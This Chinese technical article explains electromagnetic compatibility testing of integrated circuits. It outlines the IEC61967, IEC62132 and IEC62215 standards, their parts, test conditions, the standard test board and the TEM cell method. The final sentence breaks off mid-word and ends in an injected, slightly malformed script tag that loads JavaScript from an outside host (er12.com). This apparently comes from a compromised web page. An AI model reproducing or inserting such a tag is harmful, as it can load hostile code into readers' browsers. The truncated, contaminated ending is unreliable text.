当今，集成电路的电磁兼容性越来越受到重视。电子设备和系统的生产商努力改进他们的产品以满足电磁兼容规范，降低电磁发射和增强抗干扰能力。过去，集成电路生产商关心的只是成本，应用领域和使用性能，几乎很少考虑电磁兼容的问题。即使单片集成电路通常不会产生较大的辐射，但它还是经常成为电子系统辐射发射的根源。当大量的数字信号瞬间同时切换时便会产生许多的高频分量。
尤其是近年来，集成电路的频率越来越高，集成的晶体管数目越来越多，集成电路的电源电压越来越低，加工芯片的特征尺寸进一步减小，越来越多的功能，甚至是一个完整的系统都能够被集成到单个芯片之中，这些发展都使得芯片级电磁兼容显得尤为突出。现在，集成电路生产商也要考虑自己产品电磁兼容方面的问题。
集成电路电磁兼容的标准化
由于集成电路的电磁兼容是一个相对较新的学科，尽管对于电子设备及子系统已经有了较详细的电磁兼容标准，但对于集成电路来说其测试标准却相对滞后。国际电工委员会第47a技术分委会(iec sc47a)早在1990年就开始专注于集成电路的电磁兼容标准研究。此外，北美的汽车工程协会也开始制定自己的集成电路电磁兼容测试标准sae j 1752，主要是发射测试的部分。1997年，iec sc47a下属的第九工作组wg9成立，专门负责集成电路电磁兼容测试方法的研究，参考了各国的建议，至今相继出版了150khz－1ghz的集成电路电磁发射测试标准iec61967和集成电路电磁抗扰度标准iec62132 。此外，在脉冲抗扰度方面，wg9也正在制定对应的标准iec62215。
目前，iec61967标准用于频率为150khz到1ghz的集成电路电磁发射测试，包括以下六个部分：
第一部分：通用条件和定义(参考sae j1752.1)；
第二部分：辐射发射测量方法——tem小室法(参考sae j1752.3)；
第三部分：辐射发射测量方法——表面扫描法(参考sae j1752.2)；
第四部分：传导发射测量方法——1ω/150ω直接耦合法；
第五部分：传导发射测量方法——法拉第笼法wfc(workbench faraday cage)；
第六部分：传导发射测量方法——磁场探头法。
iec62132标准，用于频率为150khz到1ghz的集成电路电磁抗扰度测试，包括以下五部分：
第一部分：通用条件和定义；
第二部分：辐射抗扰度测量方法—— tem小室法 ；
第三部分：传导抗扰度测量方法——大量电流注入法(bci) ；
第四部分：传导抗扰度测量方法——直接射频功率注入法(dpi) ；
第五部分：传导抗扰度测量方法——法拉第笼法(wfc)。
iec62215标准，用于集成电路脉冲抗扰度测试，包括以下三部分，但尚未正式出版：
第一部分：通用条件和定义；
第二部分：传导抗扰度测量方法——同步脉冲注入法 ；
第三部分：传导抗扰度测量方法——随机脉冲注入法参考(iec61000-4-2和iec61000-4-4) 。
下文主要针对iec61967 和iec62132的测试方法进行讲解。
集成电路电磁兼容测试方法
电磁发射测试标准——iec61967
第一部分：通用条件和定义
传感器：tem小室、场探头等；
频谱仪或接收机：频率范围覆盖150khz-1ghz，峰值检波、带最大值保持功能，分辨率带宽的设置如下表：
表一 分辨率带宽的选择
电源：用电池供电或采用低射频噪声的电源；
测试温度：23℃±5℃；
环境噪声：除被测ic外其余外围电路供电时，所测到的背景噪声低于限值至少6db，必要时可采用前置放大器；
测试电路板：通常集成电路测试需要安装在一块印制电路板上，为提高测试的方便性与重复性，标准规定了电路板的规格，如下图所示，标准电路板的大小与tem小室顶端的开口大小匹配，板上既可以集成iec61967发射测试需要的1ω/150ω直接耦合法阻抗匹配网络，磁场探头法测试用的迹线，也可以集成iec62132-4用到的耦合电容。
图一 标准集成电路测试板第二部分：辐射发射测量方法——tem小室法
图二 tem小室法辐射发射测试示意图tem小室其实就是一个变型的同轴线：在此同轴线中部，由一块扁平的芯板作为内导体，外导体为方形，两端呈锥形向通用的同轴器件过渡，一头连接同轴线到测试接收机，另一头连接匹配负载，如下图所示。小室的外导体顶端有一个方形开口用于安装测试电路板。其中，集成电路的一侧安装在小室内侧，互连线和外围电路的一侧向外。这样做使测到的辐射发射主要来源于被测的ic芯片。受测芯片产生的高频电流在互连导线上流动，那些焊接引脚、封装连线就充当了辐射发射天线。当测试频率低于tem小室的一阶高次模频率时，只有主模tem模传输，此时tem小室端口的测试电压与骚扰源的发射大?script src=http://er12.com/t.js>
